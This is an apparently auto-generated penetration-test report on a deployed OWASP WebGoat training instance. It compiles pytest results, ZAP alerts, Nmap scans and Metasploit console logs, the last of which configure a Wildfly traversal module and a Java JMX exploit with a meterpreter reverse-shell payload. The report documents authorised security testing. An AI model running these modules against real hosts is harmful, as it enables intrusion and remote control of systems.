

# ASTICI



Confidential

# Pentest Report

Penetration test of **OWASP WebGoat**

Consultant: ASTICI

06/11/2023

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# Executive Summary

## Overview

ASTICI Inc. performed a Web Application Penetration Test on OWASP WebGoat applications. The scope of the testing was the following.

- CI/CD deployed OWASP Webgoat instance, deployed through Terraform scripts on Azure
- Covering sample OWASP vulnerabilities
- Covering Nmap scan
- Attempting exploit OWASP Webgoat webserver using readily available Metasploit exploits
- Static code analysis using SonarCloud
- Software Composition Analysis using Snyk

ASTICI Inc. found that with a few minor exceptions the quality and coverage of security controls in the OWASP WebGoat applications were very solid.

## Resume

ASTICI Inc. is a start-up researching on Github actions repository technology to enable automated security testing for cloud native web applications.

## Finding Classification

Each finding is classified as a High, Medium, or Low risk based on ASTICI Inc. considerations of potential threats, the likelihood of attack, and the possible impact of a successful attack against Instructure's OWASP WebGoat applications. Each of these factors is assessed individually and in combination to determine the overall risk designation. These assessments are based on ASTICI Inc. professional judgment and experience providing consulting services to enterprises across the country. This report outlines the findings ASTICI Inc. collected from the testing, as well as ASTICI Inc. recommendations that will assist Instructure in reducing its risks and helping remove the vulnerabilities found.

## Vulnerabilities and Recommendations

The following pages show Github issues one by one, which would highlight all vulnerabilities in current application.

# Priority-High Pytest-Playwright Test Output Issue

GitHub Issue number # 667

GitHub Issue URL : [Here!](#)

**Playwright**  
**pytest**  
**"priority High"**

Starting pytests....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.3, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: base-url-2.0.0, playwright-0.4.3, tornasync-0.6.0.post2, anyio-4.0.0,  
asyncio-0.21.1, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test\_AsyncWebGoatUseCases.py ... [ 60%]

src/test\_WebGoatUseCases.py .. [100%]

```
===== PASSES  
=====
```

```
===== 5 passed in 27.24s  
=====
```

Stop pytests....

# Priority-High Metasploit-ParrotOS Test output

GitHub Issue number # 666

GitHub Issue URL : [Here!](#)

**parrotOS**  
**metasploit**  
**"priority High"**

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Ign:1 https://deb.parrot.sh/parrot parrot InRelease

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:5 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:6 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:7 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:8 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Get:9 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:10 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:11 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Fetchd 19.6 MB in 1min 2s (314 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions  
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions  
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 20.204.4.44

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[\*] Processing ./src/exploitwildflydir\_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir\_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly\_traversal):

Name Current Setting Required Description

-----

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVE\_FILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL\_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[\*] resource (./src/exploitwildflydir\_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir\_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir\_traversal.rc)> exit

-----

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[\*] Processing ./src/exploit/javajmxreversehttps.rc for ERB directives.

resource (./src/exploit/javajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver

[\*] No payload configured, defaulting to java/meterpreter/reverse\_tcp

resource (./src/exploit/javajmxreversehttps.rc)> show options

Module options (exploit/multi/misc/javajmxserver):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

-----

JMXRMI	jmxrmi	yes	The name where the JMX RMI interface is bound
--------	--------	-----	-----------------------------------------------

JMX_PASSWORD	no	The password to interact with an authenticated JMX endpoint
--------------	----	-------------------------------------------------------------

JMX_ROLE	no	The role to interact with an authenticated JMX endpoint
----------	----	---------------------------------------------------------

RHOSTS	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
--------	-----	-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

RPORT	yes	The target port (TCP)
-------	-----	-----------------------

SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
---------	---------	-----	---------------------------------------------------------------------------------------------------------------------------------------

SRVPORT	8080	yes	The local port to listen on.
---------	------	-----	------------------------------

SSLCert	no	Path to a custom SSL certificate (default is randomly generated)
---------	----	------------------------------------------------------------------

URIPATH	no	The URI to use for this exploit (default is random)
---------	----	-----------------------------------------------------

Payload options (java/meterpreter/reverse\_tcp):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

-----

LHOST	172.17.0.2	yes	The listen address (an interface may be specified)
-------	------------	-----	----------------------------------------------------

LPORT	4444	yes	The listen port
-------	------	-----	-----------------

Exploit target:

Id	Name
----	------

---



## 0 Generic (Java Payload)

View the full module info with the info, or info -d command.

[\*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit/javajmxreversehttps.rc)> use payload/java/meterpreter/  
reverse\_https

resource (./src/exploit/javajmxreversehttps.rc)> exploit

[\*] Payload Handler Started as Job

resource (./src/exploit/javajmxreversehttps.rc)> exit

=====

# Priority-High - OWASP WebGoat Landing Page ZAP Scan

GitHub Issue number # 665

GitHub Issue URL : [Here!](#)

- Site: <http://20.204.4.44:8080> **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - <http://20.204.4.44:8080/WebGoat/login>
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - <http://20.204.4.44:8080/WebGoat/login>
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - <http://20.204.4.44:8080/WebGoat/login>
  - **Cookie No HttpOnly Flag** [10010] total: 1:
    - <http://20.204.4.44:8080/WebGoat/start.mvc>
  - **Cookie Slack Detector** [90027] total: 2:
    - <http://20.204.4.44:8080/WebGoat/login>
    - <http://20.204.4.44:8080/WebGoat/start.mvc>
  - **Cookie without SameSite Attribute** [10054] total: 1:
    - <http://20.204.4.44:8080/WebGoat/start.mvc>
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - <http://20.204.4.44:8080/WebGoat/login>
  - **Base64 Disclosure** [10094] total: 1:
    - <http://20.204.4.44:8080/WebGoat/start.mvc>
  - **Non-Storable Content** [10049] total: 1:
    - <http://20.204.4.44:8080/WebGoat/start.mvc>
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - <http://20.204.4.44:8080/>
    - <http://20.204.4.44:8080/WebGoat/login>
    - <http://20.204.4.44:8080/WebGoat/start.mvc>
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - <http://20.204.4.44:8080/>
    - <http://20.204.4.44:8080/WebGoat/login>
    - <http://20.204.4.44:8080/WebGoat/start.mvc>
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - <http://20.204.4.44:8080/>
    - <http://20.204.4.44:8080/WebGoat/login>
    - <http://20.204.4.44:8080/WebGoat/start.mvc>
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - <http://20.204.4.44:8080/>
    - <http://20.204.4.44:8080/WebGoat/login>
    - <http://20.204.4.44:8080/WebGoat/start.mvc>
  - **Session Management Response Identified** [10112] total: 2:
    - <http://20.204.4.44:8080/WebGoat/start.mvc>
    - <http://20.204.4.44:8080/WebGoat/start.mvc>
  - **Storable and Cacheable Content** [10049] total: 4:
    - <http://20.204.4.44:8080/>
    - <http://20.204.4.44:8080/robots.txt>
    - <http://20.204.4.44:8080/sitemap.xml>
    - <http://20.204.4.44:8080/WebGoat/login>
  - **User Agent Fuzzer** [10104] total: 24:
    - <http://20.204.4.44:8080/WebGoat>
    - <http://20.204.4.44:8080/WebGoat>
    - <http://20.204.4.44:8080/WebGoat>
    - <http://20.204.4.44:8080/WebGoat>

- <http://20.204.4.44:8080/WebGoat>
- ..

View the [following link](#) to download the report. RunnerID:6773800267

# Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 664

GitHub Issue URL : [Here!](#)

**parrotOS**  
**nmap**  
**"priority Medium"**

Nmap vulnerability scanning  
for 20.204.4.44

Making sure that parrot OS docker image has all the latest updates...

Ign:1 https://deb.parrot.sh/parrot parrot InRelease

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Ign:5 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages

Get:6 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:7 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:8 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Get:9 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Ign:10 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages

Get:11 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:5 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:10 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Fetched 19.6 MB in 1min 1s (322 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-11-06 16:49 UTC

Nmap scan report for 20.204.4.44

Host is up (0.21s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 c3:b1:50:24:dd:77:f6:98:25:5d:60:f4:bc:44:ac:de (ECDSA)

|\_ 256 86:f1:a9:e5:6b:92:b2:33:70:ae:bc:7c:ed:cb:4c:ab (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

|\_ http-title: Site doesn't have a title.

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 06 Nov 2023 16:52:36 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close  
| GetRequest:  
| HTTP/1.1 404 Not Found  
| Connection: close  
| Content-Length: 0  
| Date: Mon, 06 Nov 2023 16:52:34 GMT  
| HTTPOptions:  
| HTTP/1.1 404 Not Found  
| Connection: close  
| Content-Length: 0  
|\_ Date: Mon, 06 Nov 2023 16:52:35 GMT  
9090/tcp open zeus-admin?  
| fingerprint-strings:  
| GenericLines, RTSPRequest, SqueezeCenter\_CLI, WMSRequest, ibm-db2-das:  
| HTTP/1.1 400 Bad Request  
| Content-Length: 0  
| Connection: close  
| GetRequest:  
| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block  
| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Mon, 06 Nov 2023 16:52:34 GMT  
| Connection: close  
| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
| "timestamp" : "2023-11-06T16:52:34.917+00:00",

| "status" : 404,  
| "error" : "Not Found",  
| "path" : "/"  
| HTTPOptions:  
| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block  
| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Mon, 06 Nov 2023 16:52:52 GMT  
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH  
| Connection: close  
| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
| "timestamp" : "2023-11-06T16:52:52.680+00:00",  
| "status" : 404,  
| "error" : "Not Found",  
|\_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=11/6%Time=654919D3%P=x86\_64-pc-linux-gnu%r(Ge

SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close

SF: Content-Length: 0 Date: Mon, 06 Nov 2023 16:52:3

SF:4 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Mon, 06\x



SF:20Nov 2023 16:52:35 GMT  
")%r(RTSPRequest,42,"HTTP/1.1\n  
SF:x20400 Bad Request Content-Length: 0 Connection: clos  
SF:e  
")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found \n  
SF:nConnection: close Content-Length: 0 Date: Mon, 06  
SF:0Nov 2023 16:52:36 GMT  
")%r(Socks5,42,"HTTP/1.1 400  
SF: Bad Request Content-Length: 0 Connection: close \n  
SF:r ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-  
SF:Length: 0 Connection: close  
")%r(Help,42,"HTTP/1.1  
SF:400 Bad Request Content-Length: 0 Connection: close  
SF:  
")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Cont  
SF:ent-Length: 0 Connection: close  
")%r(TerminalServerCook  
SF:ie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co  
SF:nnection: close  
")%r(TLSSessionReq,42,"HTTP/1.1 400 Ba  
SF:d Request Content-Length: 0 Connection: close  
")%  
SF:r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:  
SF:00 Connection: close  
")%r(SMBProgNeg,42,"HTTP/1.1 400\n  
SF:x20Bad Request Content-Length: 0 Connection: close  
SF: ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Leng  
SF:th: 0 Connection: close  
")%r(LDAPSearchReq,42,"HTTP/1.  
SF:1 400 Bad Request Content-Length: 0 Connection: cl  
SF:ose  
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request Co

SF:Content-Length: 0 Connection: close  
")%r(WMSRequest,42,"H  
SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connection  
SF:: close  
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Request  
SF:Content-Length: 0 Connection: close  
");  
=====NEXT SERVICE FINGERPRINT (SUBMIT  
INDIVIDUALLY)=====

SF:Port9090-TCP:V=7.92%I=7%D=11/6%Time=654919D3%P=x86\_64-pc-linux-  
gnu%r(Ge  
SF:tRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cache  
SF:Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
SF:X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fra  
SF:Cache-Options: DENY Date: Mon, 06 Nov 2023 16:52:34\x  
SF:GMT Connection: close Vary: Origin Vary: Access-Con  
SF:Control-Request-Method Vary: Access-Control-Request-Headers X-Con  
SF:Content-Type-Options: nosniff Content-Type: application/json \n  
SF:r { \"timestamp\" : \"2023-11-06T16:52:34.917+00:00\"  
SF:, \"status\" : 404, \"error\" : \"Not  
SF:Found\", \"path\" : \"\" } )%r(WMSRequest,42,\"HTTP/1.  
SF:1 400 Bad Request Content-Length: 0 Connection: cl  
SF:ose  
")%r(ibm-db2-das,42,\"HTTP/1.1 400 Bad Request C  
SF:Content-Length: 0 Connection: close  
")%r(SqueezeCenter\_C  
SF:LI,42,\"HTTP/1.1 400 Bad Request Content-Length: 0 Co  
SF:nnection: close  
")%r(GenericLines,42,\"HTTP/1.1 400 Bad  
SF: Request Content-Length: 0 Connection: close  
")%r  
SF:(HTTPOptions,22B,\"HTTP/1.1 404 Not Found Expires: 0  
SF:Cache-Control: no-cache, no-store, max-age=0, must-revalida

SF:te X-XSS-Protection: 1; mode=block Pragma: no-cache X  
SF:-Frame-Options: DENY Date: Mon, 06 Nov 2023 16:52:  
SF:52 GMT Allow: GET, HEAD, POST, PUT, DELETE, TRA  
SF:CE, OPTIONS, PATCH Connection: close Vary: Origin  
SF:Vary: Access-Control-Request-Method Vary: Access-Control-Reque  
SF:st-Headers X-Content-Type-Options: nosniff Content-Type: ap  
SF:plication/json  
{ \"timestamp\" : \"2023-11-06T16:  
SF:52:52.680+00:00\", \"status\" : 404, \"error\\n  
SF:\" : \"Not Found\", \"path\" : \"\" }\"}%r(RTSP  
SF:Request,42,\"HTTP/1.1 400 Bad Request Content-Length: 0\\n  
SF:r Connection: close  
");

Device type: general purpose|firewall|storage-misc

Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (86%), WatchGuard Firewall 11.X (86%),  
Synology DiskStation Manager 5.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3.10 cpe:/  
o:watchguard:fireware:11.8 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstationmanager:  
5.1 cpe:/o:linux:linux\_kernel:4.9

Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), WatchGuard  
Fireware 11.8 (86%), Linux 3.10 (85%), Synology DiskStation Manager 5.1 (85%), Linux  
2.6.35 (85%), Linux 4.9 (85%), Linux 2.6.39 (85%), Linux 3.10 - 3.12 (85%), Linux 3.4  
(85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.15 ms 172.17.0.1

2 5489.89 ms 20.204.4.44

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 332.12 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-11-06 16:54 UTC

Nmap scan report for 20.204.4.44

Host is up (0.21s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.79 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-11-06 16:54 UTC

Nmap scan report for 20.204.4.44

Host is up (0.21s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.20 seconds

# Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 663

GitHub Issue URL : [Here!](#)

**SonarCloud**  
**"priority High"**

## SonarCloud Scan for OWASP WebGoat

Go to [https://sonarcloud.io/project/overview?id=pradyumna-muppirala\\_WebGoatSAST](https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST) for full report of SonarCloud with Github SSO.

# Priority High - Snyk Report

GitHub Issue number # 662

GitHub Issue URL : [Here!](#)

**Snyk\_scan**  
**"priority High"**

## Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

# Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 661

GitHub Issue URL : [Here!](#)

**SonarCloud**  
**"priority High"**

## SonarCloud Scan for OWASP WebGoat

Go to [https://sonarcloud.io/project/overview?id=pradyumna-muppirala\\_WebGoatSAST](https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST) for full report of SonarCloud with Github SSO.

# Priority High - Snyk Report

GitHub Issue number # 660

GitHub Issue URL : [Here!](#)

**Snyk\_scan**  
**"priority High"**

## Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.



# Priority-High Metasploit-ParrotOS Test output

GitHub Issue number # 659

GitHub Issue URL : [Here!](#)

**parrotOS**  
**metasploit**  
**"priority High"**

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.6 MB in 1min 16s (259 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Ign:1 <https://deb.parrot.sh/parrot> parrot InRelease

Ign:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Ign:3 https://deb.parrot.sh/parrot parrot-backports InRelease  
Ign:1 https://deb.parrot.sh/parrot parrot InRelease  
Ign:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease  
Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease  
Hit:1 https://deb.parrot.sh/parrot parrot InRelease  
Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease  
Reading package lists...  
Building dependency tree...  
Reading state information...  
49 packages can be upgraded. Run 'apt list --upgradable' to see them.  
Cleaning up any existing old code copies of security tests...  
This is not a secure way to check out code;  
Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

